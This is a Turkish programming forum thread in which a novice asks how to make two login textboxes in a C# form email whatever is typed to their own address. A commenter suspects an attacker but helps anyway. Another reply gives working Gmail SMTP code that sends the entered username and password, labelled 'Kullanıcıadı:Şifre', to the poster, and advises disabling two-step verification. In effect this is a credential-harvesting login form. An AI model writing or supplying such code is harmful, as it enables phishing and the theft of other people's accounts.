C# textboxtaki veriyi mail olarak gönderme

[CODE lang="csharp" title="Form"]private void button1_Click(object sender, EventArgs e)
{
SmtpClient sc = new SmtpClient();
sc.Port = 587;
sc.Host = "smtp.gmail.com";
sc.EnableSsl = true;

string kime = textBox1.Text;
string konu = textBox2.Text;
string icerik = textBox3.Text;

sc.Credentials = new NetworkCredential("[email protected]", "şifreniz");
MailMessage mail = new MailMessage();
mail.From = new MailAddress("[email protected]", "Ahmet Cansever");
mail.To.Add(kime);
//mail.To.Add("[email protected]");
//mail.CC.Add("[email protected]");
//mail.CC.Add("[email protected]");
mail.Subject = konu;
mail.IsBodyHtml = true;
mail.Body = icerik;
mail.Attachments.Add(new Attachment(DosyaYolu));
sc.Send(mail);[/CODE]
 
[CODE lang="csharp" title="Form"]private void button1_Click(object sender, EventArgs e)
{
SmtpClient sc = new SmtpClient();
sc.Port = 587;
sc.Host = "smtp.gmail.com";
sc.EnableSsl = true;

string kime = textBox1.Text;
string konu = textBox2.Text;
string icerik = textBox3.Text;

sc.Credentials = new NetworkCredential("[email protected]", "şifreniz");
MailMessage mail = new MailMessage();
mail.From = new MailAddress("[email protected]", "Ahmet Cansever");
mail.To.Add(kime);
//mail.To.Add("[email protected]");
//mail.CC.Add("[email protected]");
//mail.CC.Add("[email protected]");
mail.Subject = konu;
mail.IsBodyHtml = true;
mail.Body = icerik;
mail.Attachments.Add(new Attachment(DosyaYolu));
sc.Send(mail);[/CODE]

Merhabalar sorduğum soruyu cahilliğime verin fakat bu kodu nereye yapıştıracağız tam olarak?

1624489532077.png


Buradaki Textbox'lara girilen yazıların benim mailime gelmesini istiyorum kısacası.
 
Bir saldırgan hazırlanıyor gibi hissediyorum ama neyse günahına girmeyelim. Hangi editöre ait hocam bu? En azından bir buton eklemelisin ve onun click olayına o kodları yazmalısın. Daha fazla anlatabilmemiz için neye baktığını görmemiz gerek.
 
Bir saldırgan hazırlanıyor gibi hissediyorum ama neyse günahına girmeyelim. Hangi editöre ait hocam bu? En azından bir buton eklemelisin ve onun click olayına o kodları yazmalısın. Daha fazla anlatabilmemiz için neye baktığını görmemiz gerek.
Merhabalar bu işlerde yeniyim attığım ssdeki iki textboxu nasıl logine bağlayacağım? Mesela ben textboxa bilgileri girdiğimde logine bastığımda benim epostama gelmesini istiyorum.
1624498154946.png
13 adet hata alıyorum bunları nasıl çözebilirim.
 

Dosya Ekleri

  • resim_2021-06-24_043135.png
    resim_2021-06-24_043135.png
    65,7 KB · Görüntüleme: 86
Merhabalar bu işlerde yeniyim attığım ssdeki iki textboxu nasıl logine bağlayacağım? Mesela ben textboxa bilgileri girdiğimde logine bastığımda benim epostama gelmesini istiyorum.
Eki Görüntüle 1080657 13 adet hata alıyorum bunları nasıl çözebilirim.
Yanlış anlama ama bu işlerde yeniysen öncelikle temel C# öğrenmeye bak. Bracketlerin yerleri yanlış, class içine mi yazıyorsun metot içine mi yazıyorsun belli değil. Verdiğin ekran görüntüsünden bir sonuca varamayız. Visual Studio'daki altta çıkan Error kısmındaki hata mesajlarını bize göstermen gerek.

Herşeyden önce projende kod yazdığın .cs dosyasının başına;
[CODE lang="csharp" title="C#"]using System.Net;
using System.Net.Mail;[/CODE]
şeklinde kullanacağın kütüphaneleri eklemen gerek.
 
Son düzenleme:
Kod:
private void button1_Click(object sender, EventArgs e)
 {
 SmtpClient sc = new SmtpClient();
 sc.Port = 587;
 sc.Host = "smtp.gmail.com";
 sc.EnableSsl = true;

 sc.Credentials = new NetworkCredential("[email protected]", "şifreniz"); //Bu mail adresinden göndereceksin
 MailMessage mail = new MailMessage();
 mail.From = new MailAddress("[email protected]", "Ahmet Cansever"); // Mailde yazacak gönderici adı
 mail.To.Add("[email protected]"); //Bu mail adresine gönderilecek (Sanırım sana yani)
 
 mail.Subject = "Kullanıcıadı:Şifre"; // Bu satır gelecek mailin konusu
 mail.IsBodyHtml = true;
 mail.Body = Textbox1.Text + ":" + Textbox2.Text; //Bu satır gelecek mailin içeriği

 sc.Send(mail);

En üste kütüphaneyi eklemeyi unutmayın arkadaşın dediği gibi.
Birde Google'dan ayar çekmeniz lazım yoksa güvenlik için engeller.
Bu adresten onay verin. 2 Adımlı doğrulama kullanıyorsanız kapatın ya da bu iş için ayrı mail alın.
Ve ne hata alıyorsanız gösterin ki ne olduğunu görelim.
 
Kod:
private void button1_Click(object sender, EventArgs e)
 {
 SmtpClient sc = new SmtpClient();
 sc.Port = 587;
 sc.Host = "smtp.gmail.com";
 sc.EnableSsl = true;

 sc.Credentials = new NetworkCredential("[email protected]", "şifreniz"); //Bu mail adresinden göndereceksin.
 MailMessage mail = new MailMessage();
 mail.From = new MailAddress("[email protected]", "Ahmet Cansever"); // Mailde yazacak gönderici adı.
 mail.To.Add("[email protected]"); //Bu mail adresine gönderilecek (Sanırım sana yani)

 mail.Subject = "Kullanıcıadı:Şifre"; // Bu satır gelecek mailin konusu.
 mail.IsBodyHtml = true;
 mail.Body = Textbox1.Text + ":" + Textbox2.Text; //Bu satır gelecek mailin içeriği.

 sc.Send(mail);

En üste kütüphaneyi eklemeyi unutmayın arkadaşın dediği gibi.
Bir de Google'dan ayar çekmeniz lazım yoksa güvenlik için engeller.
Bu adresten onay verin. 2 adımlı doğrulama kullanıyorsanız kapatın ya da bu iş için ayrı mail alın.
Ve ne hata alıyorsanız gösterin ki ne olduğunu görelim.

Bu ayar artık kullanılamıyor diyor ne yapmam gerek.
 

Technopat Haberler

Yeni konular

Yeni mesajlar

Geri
Yukarı